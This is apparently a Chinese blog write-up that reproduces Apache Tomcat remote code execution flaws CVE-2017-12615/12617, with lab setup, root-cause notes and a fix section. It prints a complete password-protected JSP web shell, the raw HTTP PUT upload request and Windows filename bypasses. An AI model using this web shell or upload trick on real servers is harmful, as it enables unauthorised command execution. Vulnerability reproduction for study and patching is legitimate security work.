0x00前情提要

Apache Tomcat团队10月3日宣布,如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系统上的潜在危险的远程执行代码(RCE)漏洞,CVE-2017-12617:远程代码执行漏洞。

只需参数readonly设置为false或者使用参数readonly设置启用WebDAV servlet false。此配置将允许任何未经身份验证的用户上传文件(如WebDAV中所使用的)。发现并阻止上传JavaServer Pages(.jsp)的过滤器可以避免这个问题。所以只要JSP可以上传,然后就可以在服务器上执行。

现在,由于此功能通常不需要,所以大多数公开曝光的系统将不会readonly设置false并因此不受影响。

在WindowsCVE-2017-12615的 Tomcat 7中,类似的漏洞被修复后,前几天又发现了这个安全问题(CVE-2017-12617)。

2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定条件下,攻击者可以利用这两个漏洞,获取用户服务器上 JSP 文件的源代码,或是通过精心构造的攻击请求,向用户服务器上传恶意JSP文件,通过上传的 JSP 文件 ,可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。

CVE-2017-12616:信息泄露漏洞

当 Tomcat 中使用了 VirtualDirContext 时,攻击者将能通过发送精心构造的恶意请求,绕过设置的相关安全限制,或是获取到由VirtualDirContext 提供支持资源的 JSP 源代码。

CVE-2017-12615:远程代码执行漏洞

当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。

通过以上两个漏洞可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。

影响版本:

CVE-2017-12617影响范围:Apache Tomcat 7.0.0 - 7.0.81

CVE-2017-12616影响范围:Apache Tomcat 7.0.0 - 7.0.80

CVE-2017-12615影响范围: Apache Tomcat 7.0.0 - 7.0.79

参考链接:

CVE-2017-12615:

https://tomcat.apache.org/security-7.html

http://tomcat.apache.org/securit... pache_Tomcat_7.0.81

CVE-2017-12617

http://tomcat.apache.org/security-7.html

http://tomcat.apache.org/security-8.html

http://tomcat.apache.org/security-9.html

0x01漏洞利用

该公开描述的利用是作为发送特殊特制HTTP,使用PUT作为有效载荷用JSP请求到Tomcat服务器。

然后,当通过HTTP客户端(例如Web浏览器)访问新上传的JSP时,执行代码。

首先搭建tomcat环境,需要预装下jdk,安装流程和配置参考:

http://www.ouyaoxiazai.com/soft/stgj/133/45254.html

搭建成功后,访问 http://127.0.0.1:8080

安装好后,修改 D:\ProgramFiles\Apache Software Foundation\Tomcat 7.0\conf\web.xml 配置文件,增加 readonly 设置为 false ,一定要记得重启下tomcat服务。

然后使用burpsuite抓包把GET方法转为PUT方法,后面加test.jsp文件的内容然后发送

POC如下:

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c)
{StringBuilder line = new StringBuilder();
try
{Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\\n");}buf.close();
}
catch (Exception e)
{line.append(e.getMessage());
}
return line.toString();
}
%>
<%
if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd")))
{out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
}
else
{out.println(":-)");
}
%>

注意:PUT路径要用/结束,写入成功后,会返回201或者200,如果返回404说明没有写/。

不能直接put jsp或者jspx文件的,在windows下可以用test.jsp/、test.jsp/.、test.jsp::$DATA来绕过

经过测试,最新版apache-tomcat-7.0.81可以用test.jsp/、test.jsp/.来绕过

PUT /test.jsp/ HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 25<%out.println("test");%>

访问http://127.0.0.1:8080/test.jsp 页面会出现test这个字符串

写入成功后,在服务器的 web目录,如下

D:\Program Files\Apache SoftwareFoundation\Tomcat 7.0\webapps\ROOT增加了test.jsp文件

访问上传的文件 http://127.0.0.1:8080/test.jsp?pwd=023&cmd=ipconfig

0x02原理分析

Tomcat 的 Servlet 是在 conf/web.xml 配置的,通过配置文件可知,当后缀名为 .jsp 和 .jspx 的时候,是通过 JspServlet 处理请求的:

而其他的静态文件是通过 DefaultServlet 处理的:

可以得知,“1.jsp ”(末尾有一个和空格)并不能匹配到 JspServlet,而是会交由 DefaultServlet 去处理。当处理 PUT 请求时:

会调用 resources.bind:

dirContext 为 FileDirContext:

调用 rebind 创建文件:

又由于 Windows 不允许“ ”作为文件名结尾,所以会创建一个 .jsp 文件,导致代码执行。

0x03参考资料:

https://github.com/fupinglee/MyPython/tree/master/exploit/CVE-2017-12615

https://www.secfree.com/article-399.html

https://www.rapid7.com/db/vulnerabilities/apache-tomcat-cve-2017-12617

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12617

https://lists.apache.org/thread.html/3fd341a604c4e9eab39e7eaabbbac39c30101a022acc11dd09d7ebcb@%3Cannounce.tomcat.apache.org%3E

0x04修复建议:

将Tomcat更新到该漏洞被修复的版本(例如,Tomcat 8.5.23)只能防止攻击者上传JSP。

但是readonlyinit-param不应该将false首先设置。如果此参数保留到默认(true),则攻击者无法上传文件。

另外,当然也可以在前端(例如WAF)上阻止PUT和DELETE请求。

cve-2017-12617 tomcat远程代码执行漏洞复现测试相关推荐

  1. 墨者学院Tomcat 远程代码执行漏洞利用

    墨者学院Tomcat 远程代码执行漏洞利用 进靶场后界面是这样的,先用bp抓包 发现抓不到包,刷新两下然后放包试试,放包到看到这个界面就可以了,看地址判断有没有抓到包 抓到包之后用PUT传参 这里可以 ...

  2. Office 远程代码执行漏洞复现过程

    本文来自作者肖志华在 GitChat 上分享 「Office 远程代码执行漏洞复现过程」,「阅读原文」查看交流实录. 编辑 | 天津饭 直接贴本地复现过程,至于怎么利用还请自己思考. 2017年11月 ...

  3. [系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  4. Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御

    摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...

  5. ThinkPHP 5.0.23 远程代码执行 漏洞复现

    ThinkPHP 5.0.23 远程代码执行 漏洞复现 一.漏洞描述 二.漏洞影响 三.漏洞复现 1. 环境搭建 2. 漏洞复现 四.漏洞POC 五.参考链接 六.利用工具 一.漏洞描述 ThinkP ...

  6. 用友NC BeanShell远程代码执行漏洞复现

    用友NC远程代码执行漏洞复现 漏洞介绍 用友NC是面向集团企业的管理软件,其在同类市场占有率中达到亚太第一.该漏洞是由于用友NC对外开放了BeanShell接口,攻击者可以在未授权的情况下直接访问该接 ...

  7. IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现

    CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...

  8. php 远程代码执行漏洞复现 cve-2019-11043

    漏洞描述 CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码. 向Nginx + PHP-FPM的服务 ...

  9. CNVD-2020-46552 深信服EDR远程代码执行漏洞复现

    目录 1.漏洞概述 2.影响版本 3.漏洞等级 4.漏洞复现 5.漏洞修复 1.漏洞概述 终端检测响应平台(EDR)是深信服公司提供的一套终端安全解决方案,方案由轻量级的端点安全软件和管理平台软件共同 ...

最新文章

  1. 100万奖金池,这不仅仅是场比赛
  2. 苏黎世华人博士提出模型SwinIR,只用33%的参数量就碾压图像修复领域sota
  3. 企业全面运营管理沙盘模拟心得_大庆职业学院举办创业技能大赛企业经营管理沙盘模拟赛...
  4. linux内核设计与实现 epub_mongodb内核源码设计实现、性能优化、最佳运维系列-网络传输层模块源码实现四...
  5. Practice 10
  6. 系统开机 linux 时间不对,linux下查看系统运行时间和最近一次的开机启动时间
  7. 【Shiro第八篇】SpringBoot + Shiro使用Shiro标签
  8. dnf登录不了服务器未响应,win7dnf辅助登陆没反应的三种解决方法
  9. 威纶通触摸屏与仪表通讯_威纶通触摸屏与英威腾变频器通信详细说明
  10. Oracle性能优化(11g)
  11. android T 前台Service
  12. gulp编译sass
  13. 一川烟草,满城飞絮,梅子黄时雨
  14. python毕业设计作品基于django框架 景区购票系统毕设成品(4)开题报告
  15. 后台管理系统开发流程
  16. RabbitMQ入门到掌握
  17. 庚子中秋之际,走进刘易斯的S4 刘易斯逻辑之十
  18. C语言基础操作-位段
  19. 机器人将颠覆零售业,看AI在零售行业有哪些应用?
  20. C语言学习-翁凯(第七章笔记)

热门文章

  1. php异常处理方式,PHP异常处理办法
  2. SDN — 核心玩家与技术流派
  3. 互联网协议 — Non-IP 网络架构
  4. 程序编译生成的Hex、Bin、axf和elf格式
  5. 对于HR通常提的一些问题的总结
  6. Drectx 3D窗口后台截图
  7. Xcode+OpenCV3.4.0 折腾(2)
  8. 009-对象—— 构造方法__construct析构方法__destruct使用方法 PHP重写与重载
  9. Cloudera Manager安装之利用parcels方式(在线或离线)安装3或4节点集群(包含最新稳定版本或指定版本的安装)(添加服务)(Ubuntu14.04)(五)...
  10. 该帐户当前被锁定,所以用户 'sa' 登录失败。系统管理员无法将该帐户解锁。...